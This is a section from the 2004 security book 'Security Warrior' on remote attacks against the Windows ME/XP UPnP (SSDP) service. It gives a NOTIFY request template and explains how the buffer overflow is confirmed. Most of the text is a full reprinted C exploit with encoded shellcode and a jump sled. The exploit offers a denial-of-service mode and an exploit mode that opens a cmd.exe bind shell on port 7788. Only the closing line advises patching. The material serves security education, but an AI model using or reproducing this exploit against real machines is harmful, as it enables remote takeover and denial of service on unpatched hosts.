13.2 Remote Attacks

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Earlier in the chapter, we discussed an exploit with UPnP as a method of performing a denial-of-service attack. This service can also be used to gain remote access to a computer.

The UPnP service is vulnerable. One method of attack is to use the NOTIFY directive, which has the following format:

 NOTIFY * HTTP/1.1 HOST: <TARGET IP>:1900 CACHE-CONTROL: max-age=10 LOCATION: http://IPADDRESS:PORT/.xml NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1 NTS: ssdp:alive SERVER: HACKER/2001 UPnP/1.0 product/1.1 USN: uuid:HACKER 

If the Location field increases rapidly , the result is a server crash as the result of a server memory error. Technically, this is the result of a buffer overflow error that caused important information to be overwritten with random data. However, it has been discovered that overflowing the server with a series of As returns the problem address 0x41414141, which indicates that a controllable buffer overflow is possible. This is simple because the letter "A" is the same as the hex value "41". We know that the memory was overflowed with our series of As when we receive a response of 41414141 in the error.

There's a program that tests this problem. (It should be noted that this script may not work correctly due to the fact that every loaded service changes the starting point of the ssdpsrv.ede service.) The following is the most commonly quoted program with regard to performing a buffer overflow attack. If this program is successful, a remote shell is opened on port 7788 on the target machine.

 /* * WinME/XP UPNP dos & overflow * * Run: ./XPloit host <option> * * Windows runs the "Universal Plug and Play technology" service * at port 5000. In the future, this will  allow for seamless * connectivity of various devices such as a printer. * This service has a DoS and a buffer overflow that we exploit here. * * PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno * * Author:      Gabriel Maggiotti * Email:       gmaggiot@ciudad.com.ar * Webpage:     http://qb0x.net */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <unistd.h> #include <fcntl.h> #define MAX    10000 #define PORT    5000 #define FREEZE    512 #define NOP    0x43    //inc ebx, instead of 0x90 /***************************************************************************/ int main(int argc,char *argv[]) { int sockfd[MAX]; char sendXP[]="XP"; char jmpcode[281], execode[840],request[2048]; char *send_buffer; int num_socks; int bindport; int i; int port; unsigned char shellcode[] = "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90" "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa" "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36" "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97" "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14" "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2" "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14" "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5" "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1" "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16" "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68" "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1" "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94" "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4" "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68" "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57" "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4" "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4" "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5" "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68" "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67" "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1" "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf" "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab" "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0" "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4" "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0" "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56" "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7" "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57" "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4" "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f" "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7" "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68" "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f" "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75" "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0" "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5" "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2" "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97" "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc" "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb" "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97" "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2" "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4" "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97" "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2" "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97" "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97" "\x68\x68\x68\x68"; struct hostent *he; struct sockaddr_in their_addr; if(argc!=3) { fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]); fprintf(stderr,"-f  freeze the machine.\n"); fprintf(stderr,"-e  exploit.\n"); exit(1); } if(strstr(argv[2],"-f")) { num_socks=FREEZE; send_buffer=sendXP; } if(strstr(argv[2],"-e")) { num_socks=1; send_buffer=request; bindport^=0x9797; shellcode[778]= (bindport) & 0xff; shellcode[779]= (bindport >> 8) & 0xff; for(i = 0; i < 268; i++) jmpcode[i] = (char)NOP; jmpcode[268] = (char)0x4d; jmpcode[269] = (char)0x3f; jmpcode[270] = (char)0xe3; jmpcode[271] = (char)0x77; jmpcode[272] = (char)0x90; jmpcode[273] = (char)0x90; jmpcode[274] = (char)0x90; jmpcode[275] = (char)0x90; //jmp [ebx+0x64], jump to execute shellcode jmpcode[276] = (char)0xff; jmpcode[277] = (char)0x63; jmpcode[278] = (char)0x64; jmpcode[279] = (char)0x90; jmpcode[280] = (char)0x00; for(i = 0; i < 32; i++) execode[i] = (char)NOP; execode[32]=(char)0x00; strcat(execode, shellcode); snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode); } if((he=gethostbyname(argv[1]))==NULL) { perror("gethostbyname"); exit(1); } /***************************************************************************/ for(i=0; i<num_socks;i++) if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family=AF_INET; their_addr.sin_port=htons(PORT); their_addr.sin_addr=*((struct in_addr*)he->h_addr); bzero(&(their_addr.sin_zero),8); for(i=0; i<num_socks;i++) if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1) { perror("connect"); exit(1); } for(i=0; i<num_socks;i++) if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1) { perror("send"); exit(0); } for(i=0; i<num_socks;i++) close(sockfd[i]); return 0; } 

This program may not work, depending on circumstances. Also, a hacker could attack an entire subnet of computers with the multicast or broadcast address used by the SSDP service. To protect against this, install all necessary patches from Microsoft.

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Security Warrior
Security Warrior
ISBN: 0596005458
EAN: 2147483647
Year: 2004
Pages: 211

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